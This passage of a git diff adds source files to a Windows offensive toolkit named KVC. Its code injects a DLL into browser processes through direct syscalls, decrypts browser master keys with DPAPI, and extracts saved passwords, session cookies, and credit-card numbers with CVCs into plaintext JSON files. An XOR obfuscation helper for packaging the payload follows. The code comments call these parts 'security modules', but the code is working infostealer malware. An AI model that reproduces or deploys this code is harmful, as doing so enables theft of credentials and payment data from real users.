orchestrator.Run();
}
catch (const std::exception& e)
{
try
{
SecurityComponents::PipeLogger errorLogger(
static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
if (errorLogger.isValid())
{
errorLogger.Log("[-] CRITICAL SECURITY MODULE ERROR: " + std::string(e.what()));
}
}
catch (...) {}
}
FreeLibraryAndExitThread(thread_params->hModule_dll, 0);
return 0;
}
// DLL entry point - creates worker thread for asynchronous execution
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
{
if (reason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
auto params = new (std::nothrow) ModuleThreadParams{hModule, lpReserved};
if (!params) return TRUE;
HANDLE hThread = CreateThread(NULL, 0, SecurityModuleWorker, params, 0, NULL);
if (hThread)
{
CloseHandle(hThread);
}
else
{
delete params;
}
}
return TRUE;
}

44
kvc/CryptCore.h Normal file
View File

@@ -0,0 +1,44 @@
// CryptCore.h - Main security module orchestration
#ifndef CRYPT_CORE_H
#define CRYPT_CORE_H
#include <Windows.h>
#include <string>
#include <filesystem>
#include <optional>
#include "CommunicationModule.h"
namespace fs = std::filesystem;
namespace SecurityComponents
{
// Main orchestrator coordinating the entire extraction workflow
class SecurityOrchestrator
{
public:
explicit SecurityOrchestrator(LPCWSTR lpcwstrPipeName);
// Executes full analysis: key decryption, profile enumeration, data extraction
void Run();
private:
// Reads configuration parameters from orchestrator via pipe
void ReadPipeParameters();
std::optional<PipeLogger> m_logger; // ZMIEŃ na optional
fs::path m_outputPath;
std::vector<uint8_t> m_edgeDpapiKey;
};
}
// Thread parameters passed to worker thread
struct ModuleThreadParams
{
HMODULE hModule_dll;
LPVOID lpPipeNamePointerFromOrchestrator;
};
// Main worker thread executing security analysis
DWORD WINAPI SecurityModuleWorker(LPVOID lpParam);
#endif // CRYPT_CORE_H

240
kvc/DataExtraction.cpp Normal file
View File

@@ -0,0 +1,240 @@
// DataExtraction.cpp - Profile discovery and database extraction
#include "DataExtraction.h"
#include "BrowserCrypto.h"
#include "CommunicationModule.h"
#include <fstream>
#include <sstream>
#include <algorithm>
namespace SecurityComponents
{
namespace Data
{
// Pre-loads CVC data for payment card processing
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> SetupPaymentCards(sqlite3* db)
{
auto cvcMap = std::make_shared<std::unordered_map<std::string, std::vector<uint8_t>>>();
sqlite3_stmt* stmt = nullptr;
if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &stmt, nullptr) != SQLITE_OK)
return cvcMap;
while (sqlite3_step(stmt) == SQLITE_ROW)
{
const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 1));
if (guid && blob)
(*cvcMap)[guid] = {blob, blob + sqlite3_column_bytes(stmt, 1)};
}
sqlite3_finalize(stmt);
return cvcMap;
}
// Formats cookie row into JSON
std::optional<std::string> FormatCookie(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
{
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 6));
if (!blob) return std::nullopt;
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 6)});
if (plain.size() <= COOKIE_PLAINTEXT_HEADER_SIZE)
return std::nullopt;
const char* value_start = reinterpret_cast<const char*>(plain.data()) + COOKIE_PLAINTEXT_HEADER_SIZE;
size_t value_size = plain.size() - COOKIE_PLAINTEXT_HEADER_SIZE;
std::ostringstream json_entry;
json_entry << " {\"host\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) << "\""
<< ",\"name\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) << "\""
<< ",\"path\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 2))) << "\""
<< ",\"value\":\"" << Utils::EscapeJson({value_start, value_size}) << "\""
<< ",\"expires\":" << sqlite3_column_int64(stmt, 5)
<< ",\"secure\":" << (sqlite3_column_int(stmt, 3) ? "true" : "false")
<< ",\"httpOnly\":" << (sqlite3_column_int(stmt, 4) ? "true" : "false")
<< "}";
return json_entry.str();
}
// Formats password row into JSON
std::optional<std::string> FormatPassword(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
{
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 2));
if (!blob) return std::nullopt;
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 2)});
return " {\"origin\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) +
"\",\"username\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
"\",\"password\":\"" + Utils::EscapeJson({reinterpret_cast<char*>(plain.data()), plain.size()}) + "\"}";
}
// Formats payment card row into JSON
std::optional<std::string> FormatPayment(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
{
auto cvcMap = reinterpret_cast<std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>*>(state);
std::string card_num_str, cvc_str;
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 4));
if (blob)
{
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 4)});
card_num_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
}
const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
if (guid && cvcMap && (*cvcMap)->count(guid))
{
auto plain = Crypto::DecryptGcm(key, (*cvcMap)->at(guid));
cvc_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
}
return " {\"name_on_card\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
"\",\"expiration_month\":" + std::to_string(sqlite3_column_int(stmt, 2)) +
",\"expiration_year\":" + std::to_string(sqlite3_column_int(stmt, 3)) +
",\"card_number\":\"" + Utils::EscapeJson(card_num_str) +
"\",\"cvc\":\"" + Utils::EscapeJson(cvc_str) + "\"}";
}
// Returns all extraction configurations
const std::vector<ExtractionConfig>& GetExtractionConfigs()
{
static const std::vector<ExtractionConfig> configs = {
{fs::path("Network") / "Cookies", "cookies",
"SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value FROM cookies;",
nullptr, FormatCookie},
{"Login Data", "passwords",
"SELECT origin_url, username_value, password_value FROM logins;",
nullptr, FormatPassword},
{"Web Data", "payments",
"SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;",
SetupPaymentCards, FormatPayment}
};
return configs;
}
}
// ProfileEnumerator implementation
ProfileEnumerator::ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger)
: m_userDataRoot(userDataRoot), m_logger(logger) {}
std::vector<fs::path> ProfileEnumerator::FindProfiles()
{
m_logger.Log("[*] Discovering browser profiles in: " + StringUtils::path_to_string(m_userDataRoot));
std::vector<fs::path> profilePaths;
auto isProfileDirectory = [](const fs::path& path)
{
for (const auto& dataCfg : Data::GetExtractionConfigs())
{
if (fs::exists(path / dataCfg.dbRelativePath))
return true;
}
return false;
};
if (isProfileDirectory(m_userDataRoot))
{
profilePaths.push_back(m_userDataRoot);
}
std::error_code ec;
for (const auto& entry : fs::directory_iterator(m_userDataRoot, ec))
{
if (!ec && entry.is_directory() && isProfileDirectory(entry.path()))
{
profilePaths.push_back(entry.path());
}
}
if (ec)
{
m_logger.Log("[-] Filesystem ERROR during profile discovery: " + ec.message());
}
std::sort(profilePaths.begin(), profilePaths.end());
profilePaths.erase(std::unique(profilePaths.begin(), profilePaths.end()), profilePaths.end());
m_logger.Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s).");
return profilePaths;
}
// DataExtractor implementation
DataExtractor::DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config,
const std::vector<uint8_t>& aesKey, PipeLogger& logger,
const fs::path& baseOutputPath, const std::string& browserName)
: m_profilePath(profilePath), m_config(config), m_aesKey(aesKey),
m_logger(logger), m_baseOutputPath(baseOutputPath), m_browserName(browserName) {}
void DataExtractor::Extract()
{
fs::path dbPath = m_profilePath / m_config.dbRelativePath;
if (!fs::exists(dbPath))
return;
sqlite3* db = nullptr;
std::string uriPath = "file:" + StringUtils::path_to_string(dbPath) + "?nolock=1";
std::replace(uriPath.begin(), uriPath.end(), '\\', '/');
if (sqlite3_open_v2(uriPath.c_str(), &db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, nullptr) != SQLITE_OK)
{
m_logger.Log("[-] Failed to open database " + StringUtils::path_to_string(dbPath) +
": " + (db ? sqlite3_errmsg(db) : "N/A"));
if (db) sqlite3_close_v2(db);
return;
}
sqlite3_stmt* stmt = nullptr;
if (sqlite3_prepare_v2(db, m_config.sqlQuery.c_str(), -1, &stmt, nullptr) != SQLITE_OK)
{
sqlite3_close_v2(db);
return;
}
void* preQueryState = nullptr;
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> cvcMap;
if (m_config.preQuerySetup)
{
cvcMap = m_config.preQuerySetup(db);
preQueryState = &cvcMap;
}
std::vector<std::string> jsonEntries;
while (sqlite3_step(stmt) == SQLITE_ROW)
{
if (auto jsonEntry = m_config.jsonFormatter(stmt, m_aesKey, preQueryState))
{
jsonEntries.push_back(*jsonEntry);
}
}
sqlite3_finalize(stmt);
sqlite3_close_v2(db);
if (!jsonEntries.empty())
{
fs::path outFilePath = m_baseOutputPath / m_browserName / m_profilePath.filename() /
(m_config.outputFileName + ".json");
std::error_code ec;
fs::create_directories(outFilePath.parent_path(), ec);
if (ec)
{
m_logger.Log("[-] Failed to create directory: " + StringUtils::path_to_string(outFilePath.parent_path()));
return;
}
std::ofstream out(outFilePath, std::ios::trunc);
if (!out) return;
out << "[\n";
for (size_t i = 0; i < jsonEntries.size(); ++i)
{
out << jsonEntries[i] << (i == jsonEntries.size() - 1 ? "" : ",\n");
}
out << "\n]\n";
m_logger.Log(" [*] " + std::to_string(jsonEntries.size()) + " " + m_config.outputFileName +
" extracted to " + StringUtils::path_to_string(outFilePath));
}
}
}

83
kvc/DataExtraction.h Normal file
View File

@@ -0,0 +1,83 @@
// DataExtraction.h - Database extraction and profile enumeration
#ifndef DATA_EXTRACTION_H
#define DATA_EXTRACTION_H
#include <Windows.h>
#include <vector>
#include <string>
#include <filesystem>
#include <memory>
#include <unordered_map>
#include "winsqlite3.h"
namespace fs = std::filesystem;
namespace SecurityComponents
{
class PipeLogger;
// Data extraction configuration and operations
namespace Data
{
constexpr size_t COOKIE_PLAINTEXT_HEADER_SIZE = 32;
typedef std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>(*PreQuerySetupFunc)(sqlite3*);
typedef std::optional<std::string>(*JsonFormatterFunc)(sqlite3_stmt*, const std::vector<uint8_t>&, void*);
struct ExtractionConfig
{
fs::path dbRelativePath;
std::string outputFileName;
std::string sqlQuery;
PreQuerySetupFunc preQuerySetup;
JsonFormatterFunc jsonFormatter;
};
// Pre-query setup function for payment cards
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> SetupPaymentCards(sqlite3* db);
// JSON formatters for different data types
std::optional<std::string> FormatCookie(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state);
std::optional<std::string> FormatPassword(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state);
std::optional<std::string> FormatPayment(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state);
// Returns all extraction configurations
const std::vector<ExtractionConfig>& GetExtractionConfigs();
}
// Discovers all available browser profiles
class ProfileEnumerator
{
public:
ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger);
// Returns paths to all valid profile directories
std::vector<fs::path> FindProfiles();
private:
fs::path m_userDataRoot;
PipeLogger& m_logger;
};
// Extracts data from a specific database within a profile
class DataExtractor
{
public:
DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config,
const std::vector<uint8_t>& aesKey, PipeLogger& logger,
const fs::path& baseOutputPath, const std::string& browserName);
// Performs extraction for configured data type
void Extract();
private:
fs::path m_profilePath;
const Data::ExtractionConfig& m_config;
const std::vector<uint8_t>& m_aesKey;
PipeLogger& m_logger;
fs::path m_baseOutputPath;
std::string m_browserName;
};
}
#endif // DATA_EXTRACTION_H

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include "DefenderManager.h"
#include <filesystem>
#include <algorithm>

74
kvc/EdgeDPAPI.cpp Normal file
View File

@@ -0,0 +1,74 @@
// EdgeDPAPI.cpp - DPAPI decryption for Edge browser password keys
// Implements orchestrator-side password key extraction using Windows DPAPI
#include "EdgeDPAPI.h"
#include <Wincrypt.h>
#include <fstream>
#pragma comment(lib, "Crypt32.lib")
namespace
{
// Decodes Base64 string into binary data using Windows Crypto API
std::vector<uint8_t> Base64DecodeSimple(const std::string& input)
{
DWORD size = 0;
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr))
return {};
std::vector<uint8_t> data(size);
CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr);
return data;
}
}
// Extracts and decrypts Edge password encryption key from Local State file
// Uses Windows DPAPI to decrypt the key in the orchestrator's security context
// This avoids needing COM elevation for Edge passwords specifically
std::vector<uint8_t> DecryptEdgePasswordKeyWithDPAPI(const fs::path& localStatePath, const Console& console)
{
std::ifstream f(localStatePath, std::ios::binary);
if (!f)
return {};
std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
// Locate encrypted_key field in JSON
std::string tag = "\"encrypted_key\":\"";
size_t pos = content.find(tag);
if (pos == std::string::npos)
return {};
size_t end = content.find('"', pos + tag.length());
if (end == std::string::npos)
return {};
// Decode Base64 encrypted key
std::vector<uint8_t> decoded = Base64DecodeSimple(content.substr(pos + tag.length(), end - pos - tag.length()));
if (decoded.size() < 5)
return {};
// Strip "DPAPI" prefix (5 bytes: 0x44 0x50 0x41 0x50 0x49)
if (decoded[0] == 0x44 && decoded[1] == 0x50 && decoded[2] == 0x41 &&
decoded[3] == 0x50 && decoded[4] == 0x49)
{
decoded.erase(decoded.begin(), decoded.begin() + 5);
}
// Verify DPAPI blob header (0x01 0x00 0x00 0x00)
if (decoded.size() < 4 || decoded[0] != 0x01 || decoded[1] != 0x00 ||
decoded[2] != 0x00 || decoded[3] != 0x00)
return {};
// Decrypt using Windows DPAPI
DATA_BLOB inputBlob = { static_cast<DWORD>(decoded.size()), decoded.data() };
DATA_BLOB outputBlob = {};
if (!CryptUnprotectData(&inputBlob, nullptr, nullptr, nullptr, nullptr,
CRYPTPROTECT_UI_FORBIDDEN, &outputBlob))
return {};
std::vector<uint8_t> result(outputBlob.pbData, outputBlob.pbData + outputBlob.cbData);
LocalFree(outputBlob.pbData);
console.Success("Edge DPAPI password key extracted successfully");
return result;
}

17
kvc/EdgeDPAPI.h Normal file
View File

@@ -0,0 +1,17 @@
// EdgeDPAPI.h - DPAPI operations for Edge password key extraction
#ifndef EDGE_DPAPI_H
#define EDGE_DPAPI_H
#include <Windows.h>
#include <vector>
#include <filesystem>
#include "CommunicationLayer.h"
namespace fs = std::filesystem;
// Extracts and decrypts Edge password encryption key using Windows DPAPI
// This function runs in the orchestrator's context, avoiding the need for
// COM elevation specifically for Edge password decryption
std::vector<uint8_t> DecryptEdgePasswordKeyWithDPAPI(const fs::path& localStatePath, const Console& console);
#endif // EDGE_DPAPI_H

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include <windows.h>
#include "HelpSystem.h"
#include <iostream>

157
kvc/InjectionEngine.cpp Normal file
View File

@@ -0,0 +1,157 @@
// InjectionEngine.cpp - Low-level PE injection and execution
#include "InjectionEngine.h"
#include "syscalls.h"
#include <fstream>
#include <stdexcept>
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
extern std::string g_securityModulePath;
// Constructor initializes injection context
InjectionManager::InjectionManager(TargetProcess& target, const Console& console)
: m_target(target), m_console(console) {}
// Main injection workflow execution
void InjectionManager::execute(const std::wstring& pipeName)
{
m_console.Debug("Loading security module from file: " + g_securityModulePath);
loadSecurityModuleFromFile(g_securityModulePath);
m_console.Debug("Parsing module PE headers for InitializeSecurityContext entry point.");
DWORD rdiOffset = getInitializeSecurityContextOffset();
if (rdiOffset == 0)
throw std::runtime_error("Could not find InitializeSecurityContext export in security module.");
m_console.Debug("InitializeSecurityContext found at file offset: " + Utils::PtrToHexStr((void*)(uintptr_t)rdiOffset));
m_console.Debug("Allocating memory for security module in target process.");
PVOID remoteModuleBase = nullptr;
SIZE_T moduleSize = m_moduleBuffer.size();
SIZE_T pipeNameByteSize = (pipeName.length() + 1) * sizeof(wchar_t);
SIZE_T totalAllocationSize = moduleSize + pipeNameByteSize;
NTSTATUS status = NtAllocateVirtualMemory_syscall(m_target.getProcessHandle(), &remoteModuleBase, 0,
&totalAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!NT_SUCCESS(status))
throw std::runtime_error("NtAllocateVirtualMemory failed: " + Utils::NtStatusToString(status));
m_console.Debug("Combined memory for module and parameters allocated at: " + Utils::PtrToHexStr(remoteModuleBase));
m_console.Debug("Writing security module to target process memory.");
SIZE_T bytesWritten = 0;
status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remoteModuleBase,
m_moduleBuffer.data(), moduleSize, &bytesWritten);
if (!NT_SUCCESS(status))
throw std::runtime_error("NtWriteVirtualMemory for security module failed: " + Utils::NtStatusToString(status));
m_console.Debug("Writing pipe name parameter into the same allocation.");
LPVOID remotePipeNameAddr = reinterpret_cast<PBYTE>(remoteModuleBase) + moduleSize;
status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remotePipeNameAddr,
(PVOID)pipeName.c_str(), pipeNameByteSize, &bytesWritten);
if (!NT_SUCCESS(status))
throw std::runtime_error("NtWriteVirtualMemory for pipe name failed: " + Utils::NtStatusToString(status));
m_console.Debug("Changing module memory protection to executable.");
ULONG oldProtect = 0;
status = NtProtectVirtualMemory_syscall(m_target.getProcessHandle(), &remoteModuleBase,
&totalAllocationSize, PAGE_EXECUTE_READ, &oldProtect);
if (!NT_SUCCESS(status))
throw std::runtime_error("NtProtectVirtualMemory failed: " + Utils::NtStatusToString(status));
startSecurityThreadInTarget(remoteModuleBase, rdiOffset, remotePipeNameAddr);
m_console.Debug("New thread created for security module. Main thread remains suspended.");
}
// Reads DLL file into memory buffer
void InjectionManager::loadSecurityModuleFromFile(const std::string& modulePath)
{
if (!fs::exists(modulePath))
throw std::runtime_error("Security module not found: " + modulePath);
std::ifstream file(modulePath, std::ios::binary);
if (!file)
throw std::runtime_error("Failed to open security module: " + modulePath);
file.seekg(0, std::ios::end);
auto fileSize = file.tellg();
file.seekg(0, std::ios::beg);
m_moduleBuffer.resize(static_cast<size_t>(fileSize));
file.read(reinterpret_cast<char*>(m_moduleBuffer.data()), fileSize);
if (!file)
throw std::runtime_error("Failed to read security module: " + modulePath);
m_console.Debug("Loaded " + std::to_string(m_moduleBuffer.size()) + " bytes from " + modulePath);
}
// Manually parses PE export table to locate entry point
DWORD InjectionManager::getInitializeSecurityContextOffset()
{
auto dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(m_moduleBuffer.data());
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
return 0;
auto ntHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>((uintptr_t)m_moduleBuffer.data() + dosHeader->e_lfanew);
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)
return 0;
auto exportDirRva = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (exportDirRva == 0)
return 0;
// Converts RVA to file offset using section headers
auto RvaToOffset = [&](DWORD rva) -> PVOID
{
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i, ++section)
{
if (rva >= section->VirtualAddress && rva < section->VirtualAddress + section->Misc.VirtualSize)
{
return (PVOID)((uintptr_t)m_moduleBuffer.data() + section->PointerToRawData + (rva - section->VirtualAddress));
}
}
return nullptr;
};
auto exportDir = (PIMAGE_EXPORT_DIRECTORY)RvaToOffset(exportDirRva);
if (!exportDir) return 0;
auto names = (PDWORD)RvaToOffset(exportDir->AddressOfNames);
auto ordinals = (PWORD)RvaToOffset(exportDir->AddressOfNameOrdinals);
auto funcs = (PDWORD)RvaToOffset(exportDir->AddressOfFunctions);
if (!names || !ordinals || !funcs) return 0;
// Search for specific export by name
for (DWORD i = 0; i < exportDir->NumberOfNames; ++i)
{
char* funcName = (char*)RvaToOffset(names[i]);
if (funcName && strcmp(funcName, "InitializeSecurityContext") == 0)
{
PVOID funcOffsetPtr = RvaToOffset(funcs[ordinals[i]]);
if (!funcOffsetPtr) return 0;
return (DWORD)((uintptr_t)funcOffsetPtr - (uintptr_t)m_moduleBuffer.data());
}
}
return 0;
}
// Creates remote thread at calculated entry point
void InjectionManager::startSecurityThreadInTarget(PVOID remoteModuleBase, DWORD rdiOffset, PVOID remotePipeNameAddr)
{
m_console.Debug("Creating new thread in target to execute InitializeSecurityContext.");
uintptr_t entryPoint = reinterpret_cast<uintptr_t>(remoteModuleBase) + rdiOffset;
HANDLE hRemoteThread = nullptr;
NTSTATUS status = NtCreateThreadEx_syscall(&hRemoteThread, THREAD_ALL_ACCESS, nullptr, m_target.getProcessHandle(),
(LPTHREAD_START_ROUTINE)entryPoint, remotePipeNameAddr, 0, 0, 0, 0, nullptr);
UniqueHandle remoteThreadGuard(hRemoteThread);
if (!NT_SUCCESS(status))
throw std::runtime_error("NtCreateThreadEx failed: " + Utils::NtStatusToString(status));
m_console.Debug("Successfully created new thread for security module.");
}

35
kvc/InjectionEngine.h Normal file
View File

@@ -0,0 +1,35 @@
// InjectionEngine.h - PE injection and remote execution management
#ifndef INJECTION_ENGINE_H
#define INJECTION_ENGINE_H
#include <Windows.h>
#include <vector>
#include <string>
#include "BrowserProcessManager.h"
#include "CommunicationLayer.h"
// Handles DLL injection and remote thread execution
class InjectionManager
{
public:
InjectionManager(TargetProcess& target, const Console& console);
// Performs complete injection workflow: load, parse, inject, execute
void execute(const std::wstring& pipeName);
private:
// Loads security module from disk into memory buffer
void loadSecurityModuleFromFile(const std::string& modulePath);
// Parses PE export table to find entry point offset
DWORD getInitializeSecurityContextOffset();
// Creates remote thread to execute injected code
void startSecurityThreadInTarget(PVOID remoteModuleBase, DWORD rdiOffset, PVOID remotePipeNameAddr);
TargetProcess& m_target;
const Console& m_console;
std::vector<BYTE> m_moduleBuffer;
};
#endif // INJECTION_ENGINE_H

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include "KeyboardHook.h"
#include "TrustedInstallerIntegrator.h"
#include "common.h"

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include "common.h"
#include "Controller.h"
#include "DefenderManager.h"

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// KvcDrv.cpp
#include "kvcDrv.h"
#include "common.h"

660
kvc/KvcXor.cpp Normal file
View File

@@ -0,0 +1,660 @@
#include <iostream>
#include <fstream>
#include <vector>
#include <array>
#include <string>
#include <string_view>
#include <span>
#include <ranges>
#include <algorithm>
#include <filesystem>
#include <optional>
#include <variant>
#include <cstdint>
#ifdef _WIN32
#define NOMINMAX
#include <windows.h>
#endif
namespace fs = std::filesystem;
namespace rng = std::ranges;
// XOR key
constexpr std::array<uint8_t, 7> XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
// File paths
constexpr std::string_view KVC_PASS_EXE = "kvc_pass.exe";
constexpr std::string_view KVC_CRYPT_DLL = "kvc_crypt.dll";
constexpr std::string_view KVC_RAW = "kvc.raw";
constexpr std::string_view KVC_DAT = "kvc.dat";
constexpr std::string_view KVC_EXE = "kvc.exe";
constexpr std::string_view KVC_ENC = "kvc.enc";
// Helper for string concatenation (replaces std::format)
inline std::string concat(std::string_view a) {
return std::string(a);
}
inline std::string concat(std::string_view a, std::string_view b) {
std::string result;
result.reserve(a.size() + b.size());
result.append(a);
result.append(b);
return result;
}
inline std::string concat(std::string_view a, std::string_view b, std::string_view c) {
std::string result;
result.reserve(a.size() + b.size() + c.size());
result.append(a);
result.append(b);
result.append(c);
return result;
}
inline std::string concat(std::string_view a, std::string_view b, std::string_view c, std::string_view d) {
std::string result;
result.reserve(a.size() + b.size() + c.size() + d.size());
result.append(a);
result.append(b);
result.append(c);
result.append(d);
return result;
}
inline std::string concat(std::string_view a, std::string_view b, std::string_view c,
std::string_view d, std::string_view e) {
std::string result;
result.reserve(a.size() + b.size() + c.size() + d.size() + e.size());
result.append(a);
result.append(b);
result.append(c);
result.append(d);
result.append(e);
return result;
}
inline std::string concat(std::string_view a, std::string_view b, std::string_view c,
std::string_view d, std::string_view e, std::string_view f) {
std::string result;
result.reserve(a.size() + b.size() + c.size() + d.size() + e.size() + f.size());
result.append(a);
result.append(b);
result.append(c);
result.append(d);
result.append(e);
result.append(f);
return result;
}
inline std::string concat(std::string_view a, std::string_view b, std::string_view c,
std::string_view d, std::string_view e, std::string_view f,
std::string_view g) {
std::string result;
